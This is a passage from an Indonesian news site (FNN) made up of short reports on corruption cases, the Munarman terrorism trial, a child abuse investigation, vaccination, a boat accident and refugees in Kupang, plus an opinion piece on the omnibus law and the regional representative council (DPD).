berharap mereka bisa berlaku otonom dalam mengambil keputusan sebagai penyelenggara tanpa meninggalkan konsultasi dan pelibatan partisipasi para pemangku kepentingan pemilu. "Penyelenggara pemilu harus punya kompetensi yang memadai untuk menyusun kebijakan sekaligus melakukan berbagai fungsi sebagai penyelenggara pemilu," katanya. Secara terukur dan proporsional, kata Titi, mereka mampu berinovasi dan melahirkan terobosan yang relevan guna merespons dan mengurai kompleksitas, kerumitan, dan dinamika penyelenggaraan pemilu dan pilkada serentak pada tahun 2024 di tengah masifnya penggunaan teknologi dan tantangan penyebaran hoaks politik/pemilu. Ia memandang penting bangsa ini memiliki penyelenggara pemilu dengan paradigma inklusif di tengah situasi post truth era dan polarisasi politik yang membelah. Hal ini agar orientasi pelayanan penyelenggara pemilu maksimal dan adil bagi semua pemangku kepentingan. Harapan lain terhadap penyelenggara pemilu, mereka mampu membangun jejaring global untuk melaksanakan praktik terbaik dalam penyelenggaraan pemilu, kemudian berdasarkan keluasan pengetahuan kepemiluan sekaligus memerankan diplomasi demokrasi internasional untuk mengukuhkan kualitas demokrasi Indonesia di mata dunia. "Saya juga berharap mereka mampu membangun relasi sinergis di antara KPU, Bawaslu, dan DKPP tanpa menggadaikan kemandirian masing-masing lembaga. Fungsionalisasi forum tripartit dan komunikasi kelembagaan yang sehat, dialektika langsung, bukan dengan perantara media," katanya. Hal yang tidak kalah pentingnya, menurut Titi, mereka mampu mengerjakan aspek teknis secara cermat, teliti, dan detail. Namun, tetap dalam kerangka berpikir atau paradigma yang terhubung dan menyeluruh. Dengan demikian, tidak terjebak pada egosektoral divisi atau pembagian kerja secara parsial. (sws)

KPK Panggil Anggota DPRD Bintan Terkait Kasus Cukai

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memanggil Anggota DPRD Kabupaten Bintan Muhammad Yatir untuk penyidikan kasus dugaan korupsi pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan 2016-2018. Muhammad Yatir dipanggil sebagai saksi untuk tersangka Bupati Bintan, Kepulauan Riau, nonaktif Apri Sujadi (AS). "Hari ini, bertempat di Gedung Merah Putih KPK, tim penyidik menjadwalkan pemeriksaan saksi untuk tersangka AS dan kawan-kawan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. Selain itu, KPK memanggil seorang saksi lainnya untuk tersangka Apri, yaitu Yhordanus selaku Direktur PT Yofa Niaga Pastya. KPK telah menetapkan Apri bersama Plt Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Mohd Saleh H Umar (MSU) sebagai tersangka. Keduanya disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Apri diduga menerima sekitar Rp6,3 miliar dan Mohd Saleh menerima sekitar Rp800 juta. Dalam konstruksi perkara, KPK menjelaskan tersangka Apri pada 17 Februari 2016 dilantik menjadi Bupati Bintan yang secara "ex-officio" menjabat sebagai Wakil Ketua I Dewan Kawasan Bintan. Atas persetujuan Apri, dilakukan penetapan kuota rokok dan Minuman Mengandung Etil Alkohol (MMEA) dan menerbitkan kuota rokok sebanyak 290.760.000 batang dan kuota MMEA dengan rincian, yakni golongan A sebanyak 228.107,40 liter, golongan B sebanyak 35.152,10 liter, dan golongan C sebanyak 17.861.20 liter. Pada 2017, BP Bintan menerbitkan kuota rokok sebanyak 305.876.000 batang (18.500 karton) dan kuota MMEA. Diduga dari kedua kuota tersebut ada distribusi jatah bagi Apri sebanyak 15.000 karton, Mohd Saleh sebanyak 2.000 karton, dan pihak lainnya sebanyak 1.500 karton. Pada Februari 2018, Apri memerintahkan Kepala Bidang Perizinan BP Bintan Alfeni Harmi dan diketahui oleh Mohd Saleh untuk menambah kuota rokok BP Bintan Tahun 2018 dari hitungan awal sebanyak 21.000 karton sehingga total kuota rokok dan kuota MMEA yang ditetapkan BP Bintan Tahun 2018 sebanyak 452.740.800 batang (29.761 karton). Selanjutnya kembali dilakukan distribusi jatah di mana untuk Apri sebanyak 16.500 karton, Mohd Saleh 2.000 karton, dan pihak lainnya sebanyak 11.000 karton. KPK menduga perbuatan para tersangka mengakibatkan kerugian keuangan negara sekitar Rp250 miliar. (sws)

Hakim Tunda Pembacaan Dakwaan Kasus Dugaan Terorisme Munarwan

Jakarta, FNN - Majelis Hakim Pengadilan Negeri (PN) Jakarta Timur menunda agenda pembacaan dakwaan kasus dugaan tindak pidana terorisme dengan terdakwa Munarwan eks Sekretaris Front Pembela Islam (organisasi yang telah dibubarkan pemerintah, red.). Agenda pembacaan dakwaan ditunda pekan depan karena tim kuasa hukum dari terdakwa keberatan sidang dilaksanakan secara online atau virtual. Selain itu, kuasa hukum terdakwa mempersoalkan masalah berita acara pemeriksaan (BAP). "Kuasa hukum berhak meminta salinan berita acara pemeriksaan (BPA)," kata kuasa hukum terdakwa Sulistyowati di Pengadilan Negeri (PN) Jakarta Timur, Rabu. Jaksa penuntut umum, kata dia, menerjemahkan bahwa telah menyerahkan BAP. Sementara, di dalam Kitab Undang-Undang Hukum Acara Pidana (KUHAP), BAP dimaknai tidak hanya sebatas tersangka tetapi juga seluruh saksi yang ada. "Jika dilandasi undang-undang terorisme, kami setuju kok kalau sidang tertutup untuk umum," kata Sulistyowati. Akan tetapi, dalam Pasal 72 KUHAP secara jelas disebutkan bahwa untuk kepentingan pembelaan maka turunan BAP harus diberikan kepada kuasa hukum. Pada saat sidang yang digelar tertutup tersebut, kuasa hukum sempat mengatakan bahwa jika BAP tidak diberikan kepada pihaknya, maka bagaimana caranya kuasa hukum memberikan pembelaan pada terdakwa. "Kami hanya menuntut dari hukum acara sesuai Pasal 72 terkait hal itu," ujar dia. Senada dengan itu, kuasa hukum lain dari terdakwa Munarman, Sugito Atmo Prawiro berharap sidang kliennya dapat dilaksanakan secara offline atau tatap muka. (sws)

Polisi Lakukan Psikologi Forensik Kasus Rudapaksa Luwu Timur

Jakarta, FNN - Pejabat Divisi Humas Polri mengungkapkan penyelidikan perkara dugaan rudapaksa tiga anak di Luwu Timur, Sulawesi Selatan, masih bergulir karena penyidik tengah melakukan pemeriksaan psikologi forensik terhadap korban. "Kemarin akan dilakukan psikologi forensik," kata Kepala Bagian Penerangan Umum (Kabagpenum) Divisi Humas Polri Kombes Pol Ahmad Ramadhan saat dikonfirmasi di Jakarta, Rabu. Ramadhan menerangkan psikologi forensik tersebut dilaksanakan setelah penyidik berhasil mendapatkan keterangan dari orang tua korban. Ia menyebutkan ibu korban bersedia hadir untuk memberikan keterangan setelah penyidik membuka kembali kasus ini dengan membuat Laporan Polisi Model A tangga 12 Oktober 2021. Adapun penyelidikan menggunakan laporan polisi model A ini menggunakan waktu yang berbeda dari laporan awal pidananya pada Oktober 2019. Penyelidikan oleh polisi ini menggunakan waktu tanggal 25-31 Oktober 2019, di mana ibu korban melakukan pemeriksaan medis terhadap anaknya dan didapati hasil pemeriksaan medis yang berbeda dengan hasil visum yang dilakukan pada tanggal 19 Oktober dan 24 Oktober 2019 oleh Penyidik Polres Luwu Timur. Penyelidikan perkara ini ditangani Polres Luwu Timur dengan asistensi Polda Sulawesi Selatan dan Bareskrim Polri. Terkait psikologi forensik, Ramadhan menjelaskan pemeriksaan ini memerlukan waktu karena prosesnya tidak sebentar. "Minimal satu minggu," katanya. Pemeriksaan psikologi forensik sudah berjalan dan sedang berproses di Polres Luwu Timur, katanya. Psikologi forensik adalah bidang yang menggabungkan praktik psikologi dan hukum. Kasus rudapaksa terhadap tiga anak di bawah umur yang diduga dilakukan oleh ayah kandungnya viral di media sosial hingga memunculkan tanda pagar #percumalaporpolisi. Peristiwa itu dilaporkan pada Oktober 2019 dan penyidik menghentikan penyelidikan karena dari hasil gelar perkara tidak ditemukan bukti permulaan yang cukup. (sws)

Kuasa Hukum Harapkan Sidang Dugaan Terorisme Munarman Tatap Muka

Jakarta, FNN - Kuasa hukum dari terdakwa eks Sekretaris Front Pembela Islam (organisasi yang telah dibubarkan pemerintah) Munarman, Sugito Atmo Prawiro berharap sidang kliennya dapat dilaksanakan secara offline atau tatap muka. "Kalau harapan kita sidang itu offline," kata kuasa hukum terdakwa Munarwan, Sugito Atmo Prawiro saat sidang perdana kasus dugaan tindak pidana terorisme di PN Jakarta Timur, Rabu. Oleh karena itu, kata dia, pihaknya akan berusaha agar sidang dugaan tindak pidana terorisme dengan terdakwa Munarman bisa dilaksanakan secara tatap muka. Setelah pembacaan dakwaan dari jaksa penuntut umum, maka di tahap pembacaan eksepsi dari terdakwa akan ada penyampaian. Pada intinya, sesuai undang-undang sebagaimana penetapan pengadilan sidang dilaksanakan secara tatap muka atau offline. "Yang pasti kita akan mengajukan eksepsi, waktunya saja, mungkin bisa pekan depan," ujarnya. Terakhir, dalam menghadapi sidang dugaan tindak pidana terorisme Munarman menyiapkan sekitar 20 orang kuasa hukum. Baik yang berasal dari Jakarta maupun dari Palembang, Sumatera Selatan. Sementara itu, Kapolres Metro Jakarta Timur Kombes Pol Erwin Kurniawan mengatakan sidang tindak pidana terorisme dengan terdakwa eks Sekretaris Front Pembela Islam (organisasi yang telah dibubarkan pemerintah, red.) Munarman berbeda dengan kasus peradilan umum. "Ada kerahasiaan dari para saksi, kemudian perangkat sidang yang menyelenggarakan sidang," katanya. Bahkan, sidang yang diagendakan dimulai pukul 09.00 WIB tersebut digelar secara tertutup, termasuk untuk awak media massa yang ingin meliput. Selain itu, PN Jakarta Timur menutup pintu selama sidang berlangsung. (sws)

Polres Agam Wajibkan Setiap Personel Bawa 10 Peserta Vaksin

Lubukbasung, FNN - Kepolisian Resor (Polres) Agam, Sumatera Barat, mewajibkan setiap personelnya membawa 10 peserta vaksin COVID-19 di gerai vaksin yang telah disediakan untuk mempercepat target vaksinasi di daerah ini. Kapolres Agam AKBP Dwi Nur Setiawan didampingi Humas Polres Agam AKP Nurdin di Lubuk Basung, Rabu, mengatakan satu personel wajib membawa minimal 10 orang untuk divaksin di gerai yang telah disediakan. "Polres Agam dan pemkab setempat menyediakan 15 gerai vaksin pada Rabu (1/12)," katanya. Ia mengatakan gerai itu berada di Poliklinik Polres Agam, Kantor Wali Nagari Sungai Batang, Puskesmas Pasar Ahad, Puskesmas Palembayan, Puskesmas Koto Alam, Mapolsek Ampek Nagari, dan Jorong Balai Badak Nagari Batu Kambiang. Selanjutnua di Kantor Camat Tanjung Mutiara, Muaro Putih Nagari Tiku Lima Jorong, Jorong Surau Lubuk Nagari Tigo Balai, dan Jorong Padang Galanggang Nagari Matua Mudiak. Kemudian, di Jorong Kajai Fisik Nagari Manggopoh, Jorong Kubu Anau Nagari Manggopoh, Jorong Tiga Garagahan, dan Lapangan Volly Jorong Siguhung Nagari Lubuk Basung. "Pelaksanaan vaksin ini dikoordinir oleh polsek bekerja sama dengan puskemas, pemerintahan nagari, dan jorong," katanya. Ia menambahkan masing-masing gerai telah disediakan tenaga medis dan petugas yang sudah diberi pelatihan. Polres Agam mendapat bantuan empat dokter dan lima perawat dari Pusdokkes Mabes Polri. "Ini untuk percepatan vaksinasi di wilayah hukum polres sehingga target 70 persen capaian vaksin bisa terwujud," katanya Untuk mencapai itu, ujar dia, diharapkan kerja sama seluruh pihak guna menyukseskan capaian vaksin ini "Mudah-mudahan menjelang perayaan Natal dan Tahun Baru 2022 vaksinasi sudah bisa mencapai 70 persen," katanya. (sws)

Tim SAR Tarakan Temukan Satu Korban Meninggal Kecelakaan Speed Boat

Tarakan, FNN - Tim Pencarian dan Pertolongan (SAR) Gabungan Tarakan, Kalimantan Utara, menemukan satu korban kecelakaan speed boat di perairan Pulau Tias dalam kondisi meninggal dunia pada Selasa (30/11) pukul 21.10 WITA. "Tim SAR Gabungan berhasil menemukan korban atas nama Udi (20) dalam kondisi meninggal dunia," kata Kepala Kantor Pencarian dan Pertolongan Tarakan, Amiruddin di Tarakan, Kalimantan Utara, Rabu. Korban Udi ditemukan sekitar 5,26 kilometer dari lokasi kejadian ke arah utara tepatnya di titik koordinat 2°51'19.62"N117°33'45.86"E. "Untuk selanjutnya korban langsung dievakuasi ke Pelabuhan Tengkayu Tarakan untuk diserahkan ke pihak keluarga," kata Amiruddin. Saat tiba di Pelabuhan Tengkayu, Tarakan pada Rabu pukul 01.10 WITA korban langsung dievakuasi ke dermaga untuk diserahkan ke pihak keluarganya. Sementara dua korban yang selamat dari kecelakaan speed boat atas nama Rian (20) dan Nopi (30) keduanya warga Tarakan. Tim SAR Tarakan mencari Udi merupakan korban tabrakan dua speed boat di perairan Pulau Tias Kabupaten Bulungan, Kalimantan Utara, Senin (29/11). (sws)

Ketua Umum Korpri: PNS Berkualitas Tak Akan Tergantikan Dengan Robot

Jakarta, FNN - Ketua Umum Dewan Pengurus Nasional Korps Pegawai Republik Indonesia (Korpri) Zudan Arif Fakrullah mengatakan pegawai negeri sipil (PNS) berkualitas memadai tidak akan tergantikan dengan sistem kecerdasan buatan atau artificial intelligence (AI) yang menggunakan mesin robot. Rencana pemerintah untuk menerapkan teknologi dalam sistem administrasi pemerintahan merupakan pemicu bagi seluruh aparatur sipil negara (ASN) meningkatkan kapabilitas mereka menjadi lebih mumpuni, kata Zudan dalam keterangannya di Jakarta, Rabu. "PNS yang berkualitas tidak akan tergantikan oleh robot ataupun mesin. Tetapi kalau PNS yang tidak berkualitas, maka pasti tergantikan. Jadi ini untuk memotivasi dan memacu para ASN agar menjadi ASN yang berkualitas," kata Zudan. Direktur Jenderal Kependudukan dan Pencatatan Sipil Kementerian Dalam Negeri tersebut mengatakan beberapa sektor dalam lingkup instansi pemerintah masih memerlukan kehadiran ASN dalam bentuk sumber daya manusia (SDM). "Dalam banyak hal, ASN tidak bisa tergantikan, seperti yang terkait dengan empati, kerja sama , dan kemanusiaan; itu sampai saat ini belum bisa tergantikan oleh robot atau mesin," katanya. Sementara jenis sektor pekerjaan ASN yang tergantikan dengan mesin saat ini, antara lain pekerjaan yang berkaitan dengan pengawasan teknis, operator, dan mekanis. "Contoh yang sudah banyak tergantikan itu adalah penjaga tol, kemudian nanti yang mengawasi, seperti penjawab mesin itu operator. Lalu untuk hal bersifat mekanis, yang bersifat terus-menerus itu nanti fungsinya bisa digantikan dengan mesin," jelasnya. Oleh karena itu, Zudan berharap wacana terkait penggunaan teknologi dalam sistem pelayanan publik di instansi pemerintah dapat menjadi pendorong bagi ASN untuk meningkatkan kualitas diri. "Dalam banyak hal, PNS itu tidak tergantikan. Misalnya untuk mengambil keputusan terhadap pengelolaan keuangan, penanggulangan bencana, dan membantu masyarakat. Banyak hal tidak bisa tergantikan," ujar Zudan. (sws)

Omnibus Law dan Disfungsi Sistem Bikameral

Oleh karena itu, nyaris di sepanjang usianya, DPD tak lelah memburu hak-hak konstitusionalnya dengan mendorong amandemen. Sebab, inilah satu-satunya jalan yang diberikan konstitusi. Tak ada alternatif lain. Oleh: Tamsil Linrung MESKIPUN Mahkamah Konstitusi (MK) telah memutus 0mnibus law atau Undang-undang Cipta Kerja (UUCK) bertentangan dengan konstitusi, namun polemik seputar UU sapu jagad ini belum usai. Putusan MK malah menjadi sumber kontroversi baru. Seperti biasa, muncul dua pendapat. Ada pakar hukum menilai putusan MK bijaksana, ada pula yang menduga bahwa MK mengambil jalan tengah atau politik kompromi. Membingungkan memang! Di satu sisi MK menyatakan UUCK inkonstitusional, namun di sisi lain UU ini tidak dinyatakan dicabut. Pemerintah dan DPR diberi batas waktu dua tahun memperbaikinya. Selama masa perbaikan tersebut pemerintah tidak boleh menerbitkan aturan turunan UUCK hingga penyempurnaan kelar dilakukan. Di sisi lain, ada pihak yang menuntut agar semua proyek strategis nasiaonal yang terkait dengan UUCK dihentikan. Masuk akal, karena UU-nya sendiri inkonstitusional. Namun, putusan MK tidak berlaku surut, sehingga keinginan itu sulit dilakukan. Lagipula, MK tidak mencabut UUCK. UU Cipta Kerja sejak awal telah memunculkan banyak polemik. Polemik ini bahkan mengemuka di sepanjang proses perancangan hingga pengesahaannya. Seluruh keanehan itu sudah pasti mengundang tanda tanya besar. Ada apa dengan UUCK? Kita ingat, yang terjadi kemudian adalah rakyat tumpah ruah ke jalan. Proses legislasi RUUCK dianggap tidak demokratis selain adanya sejumlah pasal yang diduga sarat kepentingan asing dan aseng. Beberapa aktivis pergerakan ditangkap. Lepas dari kontroversi itu, menarik mengajukan pertanyaan, di manakah DPD? Dalam proses pembahasan RUUCK, Dewan Perwakilan Daerah (DPD) RI bukannya tidak dilibatkan. Namun, pelibatan DPD sungguh minim. Padahal, DPD adalah kanal aspirasi daerah dan UUCK banyak bersentuhan dengan kepentingan daerah. Sebagai representasi daerah di pusat pemerintahan, DPD diamanahi daerah untuk mendorong semaksimal mungkin kepentingan daerah dalam setiap pengambilan keputusan politik atau kebijakan nasional, termasuk dalam pembentukan UU seperti UU Cipta Kerja. Dalam konteks penegakan demokrasi, logika pelibatan DPD dalam proses perumusan dan pengambilan keputusan terhadap UU dapat diterima. Sebab, DPD adalah cermin keterwakilan rakyat yang tidak dipagari sekat ideologi. Anggota DPD tidak berasal dari ideologi kelompok politik tertentu, sehingga dapat dikatakan terbebas dari kepentingan kelompok politik. Namun, dalam konteks kontitusional, DPD tidak bisa berbuat banyak. Kewenangan DPD jauh hari telah dikunci oleh konstitusi. Pasal 20 ayat (2) UU NRI 1945 menyatakan, setiap RUU dibahas oleh DPR dan Presiden untuk mendapatkan persetujuan bersama. Ini membingungkan. Di satu sisi Anggota DPD diakui sebagai wakil rakyat yang memiliki legitimasi kuat karena dipilih oleh rakyat satu provinsi. Akan tetapi, di sisi lain lembaga DPD tidak memiliki kewenangan signifikan dalam memutuskan pemberlakuan UU. Jadi, pokok soalnya ada di hulu. Dengan begitu, perbaikannya juga harus di lakukan dari sana. Mengapa perbaikan tersebut perlu? Agar diinternal parlemen bisa saling mengoreksi, menguatkan mekanisme check and balances, demi menghasilkan produk legislasi yang berkualitas. Oleh karena itu, nyaris di sepanjang usianya, DPD tak lelah memburu hak-hak konstitusionalnya dengan mendorong amandemen. Sebab, inilah satu-satunya jalan yang diberikan konstitusi. Tak ada alternatif lain. Namun, setelah empat kali amandemen UUD 1945, belum terlihat perubahan signifikan pada kewenangan DPD. Ini artinya, di satu sisi kita mendorong desentralisasi, namun di sisi lain kita mengamputasi keterlibatan daerah dengan meminimalisasi peran dan kewenangan DPD dalam pengambilan keputusan atau kebijakan nasional. Kita tahu pembentukan DPD adalah cara bangsa ini menegakkan demokrasi, membalikkan keadaan dari sentralisme menuju desentralisme. Pembentukan DPD mengubah wajah perwakilan kita dari sistem unikameral mendekati sistem bikameral. Sistem ini mengidealkan dua lembaga dalam satu atap lembaga perwakilan. Istilah bikameral diperkenalkan oleh filsuf asal Inggris, Jeremy Bentham. Bapak Konstitusi AS, James Madison mengatakan, urgensi kamar kedua adalah sebagai penyeimbang kamar pertama, karena diisi oleh orang-orang yang lebih independen. Keseimbangan itu penting agar mekanisme check and balances (sistem perimbangan kekuasaan) menjadi kuat, baik antara lembaga perwakilan dengan lembaga tinggi negara lainnya, maupun antar lembaga perwakilan di internal sendiri. Namun, mekanisme itu hanya dapat terwujud secara maksimal jika ada keseimbangan kewenangan antara lembaga-lembaga itu. Kalau tidak, salah satu lembaga akan menjadi sangat powerfull, dan yang lainnya menjadi bedak demokrasi. Mekanisme check and balances diperlukan agar produk legislasi berkualitas dan memihak rakyat, sehingga menyulitkan siapa pun menemukan dalil menggugatnya ke MK. Sebaliknya, kualitas legislasi yang rendah terlihat ketika MK memutus sebuah UU inkonstitusional. Memberikan kewenangan secara terukur dan berimbang kepada DPD adalah cara membuka peluang yang lebih besar terhadap optimalisasi mekanisme check and balances sehingga berdampak positif pada kualitas produk legislasi yang dihasilkan. Tentu, itu tidak berarti DPD lebih baik. Namun, dialektika yang terjadi antara dua lembaga perwakilan yang kewenangannya sebanding, akan memunculkan debat konstitusi yang lebih sehat dan berbobot. Putusan MK atas Omnibus law bukan momentum saling memaki. Putusan ini adalah momen bagi kita mengintrospeksi diri, guna mengakhiri disfungsi sistem parlemen dua kamar. Penulis adalah Ketua Kelompok DPD di MPR.

Kejagung Menetapkan Seorang Pengacara Sebagai Tersangka Kasus LPEI

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus (JAM-Pidsus) Kejaksaan Agung menetapkan Didit Wijayanto Wijaya, seorang pengacara, sebagai tersangka terkait perkara dugaan pidana korupsi penyelenggaraan pembiayaan ekspor nasional oleh Lembaga Pembiayaan Ekspor Indonesia (LPEI) tahun 2013-2019. Tersangka Didit, ditangkap di sebuah pusat perbelanjaan di kawasan Jakarta Selatan pada Selasa (30/11), pukul 20.00 WIB. Kemudian dibawa ke Gedung Bundar JAM-Pidsus dilakukan pemeriksaan hingga Rabu dini hari. Sekitar pukul 00.24 WIB, tersangka keluar dari Gedung Bundar JAM-Pidsus menggunakan rompi tahanan Kejagung berwarna merah muda, langsung digiring ke mobil tahanan untuk dibawa ke Rutan Salemba Cabang Kejaksaan Agung guna penahanan selama 20 hari. Tersangka selaku advokat/penasehat hukum yang bertindak atas nama pemberi kuasa tujuh orang saksi yang telah ditetapkan sebagai tersangka terlebih dahulu pada 2 November 2021. "Tersangka telah mempengaruhi dan mengajari tujuh orang saksi tersebut untuk menolak memberikan keterangan sebagai saksi dengan alasan yang tidak dipertanggungjawabkan sesuai ketentuan peraturan perundang-undangan," kata Kepala Pusat Penerangan Hukum Kejaksaan Agung Leonard Eben Ezer Simanjuntak, dikutip dalam keterangan tertulis yang diterima di Jakarta, Rabu. Perbuatan tersangka, kata Leonard, telah menyulitkan penanganan dan penyelesaian penyidikan perkara dugaan tindak pidana korupsi dalam penyelenggaraan pembiayaan ekspor nasional oleh LPEI yang masih ditangani oleh Tim Penyidik Satgassus P3TPK pada Direktorat Penyidikan Jaksa Agung Muda Tindak Pidana Khusus. Tersangka Didit bersama tujuh tersangka lainnya di-tersangka-kan dengan sangkaan setiap orang yang dengan sengaja menghalangi atau merintangi secara langsung atau tidak langsung terkait penyidikan tindak pidana korupsi dan dengan sengaja tidak memberikan keterangan atau memberi keterangan yang tidak benar sebagai saksi dalam perkara penyelenggaraan pembiayaan ekspor nasional oleh LPEI. Tim Penyidik telah menemukan cukup bukti adanya peran Didit sebagai kuasa hukum para saksi, yang dengan sengaja mempengaruhi dan mengajak para saksi tersebut untuk menghalangi atau merintangi secara langsung atau tidak langsung terkait penyidikan tindak pidana korupsi; Sebelum ditangkap dan dilakukan penahanan, tersangka Didit telah dipanggil secara patut sebagai saksi sebanyak dua kali yaitu tanggal 26 November 2021 namun tidak menghadiri panggilan. Sehingga Tim Penyidik memanggil sekali lagi tanggal 30 November 2021 namun yang bersangkutan tidak juga hadir dengan alasan meminta pengunduran waktu pemeriksaan dan beralasan tidak dapat dituntut karena sedang menjalankan tugas sebagai advokat. Selanjutnya Direktur Penyidikan mengeluarkan surat perintah untuk membawa saksi sebagaimana ketentuan Pasal 112 ayat (2) KUHAP berdasarkan Surat Perintah Membawa Saksi Direktur Penyidikan Jaksa Agung Muda Tindak Pidana Khusus Nomor:Print-01/F.2/Fd.2/11/2021 tanggal 30 November 2021. "Tim Penyidik menemukan saksi di salah satu mall yang berada di Jakarta Selatan pada pukul 20.00 WIB yang telah dipantau sejak siang hari," kata Leonard. Tersangka Didit dijerat dengan Pasal 21 atau Pasal 22 Undang-Undang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 Ayat (1) ke-1 KUHP. Didit bersama tujuh tersangka lainnya bukanlah tersangka dalam perkara pokok dugaan korupsi LPEI. Ketujuh tersangka termasuk Didit, jadi tersangka karena tidak kooperatif dan menghalang-halangi jalannya proses penyidikan, karena tidak mau memberikan keterangan Sebelumnya, Direktur Penyidikan JAM-Pidsus Supardi mengatakan pihaknya memburu aktor intelektual yang mempengaruhi para saksi tidak mau memberikan keterangan. Keterangan para saksi dibutuhkan untuk membuat terang tindak pidana dugaan korupsi untuk menentukan para tersangka LPEI. Supardi menyebutkan, korupsi di lembaga yang kini bernama Indonesia Eximbank ini terbagi menjadi beberapa klaster. Di awal penyidikan, setidaknya ada sembilan debitur yang menerima fasilitas pembiayaan dari LPEI. Mereka adalah Group Walet, Group Johan Darsono, Duniatex Group, Group Bara Jaya Uam, Group Arkha, PT Cipta Srigati Lestari, PT Lautan Harmoni Sejahtera, PT Kemilau Harapan Prima, dan PT Kemilau Kemas Timur. Penyelenggaraan pembiayaan ekspor ke sembilan debitur diduga dilakukan LPEI tanpa melalui tata kelola yang baik. Ini berdampak pada meningkatnya kredit macet atau "non performing loan" (NPL) sebesar 23,39 persen. Padahal berdasarkan laporan keuangan per 31 Desember 2019, LEPI mengalami kerugian sebesar Rp4,7 triliun. Adapun tujuh tersangka sebelumnya, adalah IS selaku mantan Direktur Pelaksana UKM dan Asuransi Penjaminan LPEI Tahun 2016-2018. Tersangka kedua, NH selaku mantan Kepala Departemen Analisa Risiko Bisnis (ARD) II LPEI Tahun 2017-2018, EM selaku mantan Kepala Kantor Wilayah (Kakanwil) Makassar (LPEI) Tahun 2019-2020, CRGS selaku mantan Relationship Manager Divisi Unit Bisnis Tahun 2015-2020. Kemudian, AA selaku Deputi Bisnis pada LPEI Kanwil Surakarta tahun 2016-2018, ML selaku Mantan Kepala Departemen Bisnis UKMK LPEI dan RAR selaku Pegawai Manajer Resiko PT. BUS Indonesia. (sws)

Polisi Tangkap Dua Pencuri Spesialis Rumah Indekos di Medan

Medan, FNN - Aparat kepolisian menangkap dua pelaku pencurian spesialis pembobol rumah indekos yang kerap beraksi di wilayah Kecamatan Medan Barat, Kota Medan, Sumatera Utara. Kapolsek Medan Barat Kompol Ruzi Gusman, Selasa, menyebutkan identitas kedua pelaku masing-masing berinisial D (33), warga Kecamatan Medan Barat, dan MYL (24), warga Kecamatan Medan Marelan. "Kedua pelaku pencurian rumah kos ini ditangkap sesaat setelah melakukan aksinya dan sedang membawa barang hasil kejahatannya," katanya. Kedua pelaku ditangkap berdasarkan laporan korban bernama Husni (40), warga Jalan Gatot Subroto, Kecamatan Medan Barat yang kehilangan sembilan unit pendingin ruangan atau AC di rumah indekos miliknya. "Akibat kejadian tersebut korban mengalami kerugian Rp30 juta dan melaporkan kejadian tersebut ke Polsek Medan Barat," kata Ruzi. Petugas kemudian melakukan penyelidikan dan mendapat informasi keberadaan D dan MYL saat sedang membawa dua unit AC di daerah Kecamatan Medan Barat. Petugas langsung ke lokasi dan menangkap kedua pelaku. Setelah diinterogasi, kedua pelaku mengakui perbuatannya dan dua unit AC yang mereka bawa juga merupakan barang curian. "Kedua pelaku dijerat Pasal 363 ayat 2 KUHP tentang pencurian dengan ancaman hukuman sembilan tahun penjara," katanya pula. (sws)

Wagub NTT Minta IOM Proaktif Berkomunikasi dengan Imigran di Kupang

Kupang, FNN - Wakil Gubernur Nusa Tenggara Timur Josef Nae Soi meminta International Organization for Migration (IOM) Indonesia agar proaktif menjalin komunikasi dengan para imigran asal Afghanistan di Kota Kupang. "Untuk menghindari kesalahpahaman dengan para imigran, saya minta IOM untuk proaktif berkomunikasi dengan mereka. Beri penjelasan yang terang kepada mereka terutama tentang aturan dan kemungkinan proses pemindahan mereka ke negara ketiga yang bersedia menampungnya," katanya dalam siaran pers Biro Humas Setda NTT yang diterima di Kupang, Rabu. Ia menyampaikan hal itu saat menerima audiensi IOM Indonesia terkait persoalan penanganan para imigran Afghanistan yang saat ini tinggal di beberapa hotel di Kota Kupang. Sebelumnya para imigran tersebut beberapa kali menggelar unjuk rasa untuk meminta agar dipindahkan ke negara ketiga. Wagub mengatakan dari dialog dan aspirasi yang disampaikan para imigran, sebagian imigran ingin pindah dari Kupang ke Tangerang, Banten, agar segera bisa pindah ke negara ketiga. "Apakah bisa mereka dipindahkan ke Tangerang? Mungkin perlu disampaikan oleh IOM secara jelas kepada mereka tentang hal ini," katanya. Sementara itu, Kepala Misi IOM Indonesia Louis Hoffman menyampaikan terima kasih dan penghargaan yang tinggi kepada Wakil Gubernur NTT Josef Nae Soi yang memfasilitasi pertemuan dengan para pengungsi asal Afganistan yang berdemonstrasi beberapa waktu lalu. "Langkah Bapak Wakil Gubernur NTT memfasilitasi dan berkomunikasi dengan mereka (imigran) merupakan suatu yang sangat luar biasa," katanya. Louis Hoffman menjelaskan terkait permintaan para pengungsi untuk berpindah dari Kupang ke Tangerang karena didorong oleh keinginan mereka untuk segera pindah ke negara ketiga. Namun demikian proses pemindahan dan penempatan ke negara ketiga tidak semudah yang dibayangkan. Hal ini dikarenakan jumlah pengungsi di seluruh dunia mencapai sekitar 125 juta orang, sementara kuota yang diberikan oleh negara ketiga hanya 100 ribu orang. Selain itu, katanya, mandat untuk memindahkan pengungsi ke negara ketiga adalah menjadi kewenangan United Nations High Commissioner for Refugees (UNHCR). "Karena itu, kami akan terus membangun koordinasi dengan UNHCR agar bisa memberikan informasi kepada pengungsi tentang hal ini," katanya. (sws)

Wapres Minta BKKBN Lakukan Pemetaan Daerah Dalam Penanganan "Stunting"

